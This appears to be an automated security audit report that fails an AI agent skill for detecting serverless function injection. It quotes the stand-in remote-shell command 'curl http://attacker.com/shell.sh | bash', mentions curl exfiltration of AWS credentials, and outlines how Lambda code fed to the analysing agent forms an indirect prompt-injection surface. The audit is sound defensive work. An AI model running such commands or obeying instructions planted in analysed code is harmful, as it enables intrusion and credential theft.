detecting-serverless-function-injection
Fail
Audited by Gen Agent Trust Hub on Jun 19, 2026
Risk Level: HIGHREMOTE_CODE_EXECUTIONDATA_EXFILTRATIONCOMMAND_EXECUTIONEXTERNAL_DOWNLOADSPROMPT_INJECTION
Full Analysis
- [REMOTE_CODE_EXECUTION]: The skill features the command pattern
curl http://attacker.com/shell.sh | bashin its documentation templates and attack vector examples. This involves executing code from an untrusted remote source directly in the shell. - [DATA_EXFILTRATION]: The skill provides examples of exfiltrating sensitive environment variables, such as AWS credentials, to an external domain using
curlas an illustration of attack impacts. - [COMMAND_EXECUTION]: The provided workflow executes local shell commands including
aws,jq,unzip, andgrep, and utilizes security scanning tools such assemgrepandbandit. - [EXTERNAL_DOWNLOADS]: The instructions involve downloading ZIP files containing function code and layer contents from AWS service URLs using
curlandxargs. - [PROMPT_INJECTION]: The skill processes and analyzes external function code and event source configurations, which serve as ingestion points for potentially malicious instructions that could target the analyzing agent. This represents an indirect prompt injection surface.
- Ingestion points: Lambda function code downloaded via
aws lambda get-functionand event source configuration data. - Boundary markers: No explicit delimiters or instructions are provided to the agent to ignore embedded instructions in the analyzed data.
- Capability inventory: Shell command execution via
aws,curl, andunzip, and the execution of static analysis tools. - Sanitization: The skill provides logic for target function input validation but does not include sanitization for the analysis process itself.
Recommendations
- HIGH: Downloads and executes remote code from: http://attacker.com/shell.sh - DO NOT USE without thorough review
- AI detected serious security threats
Audit Metadata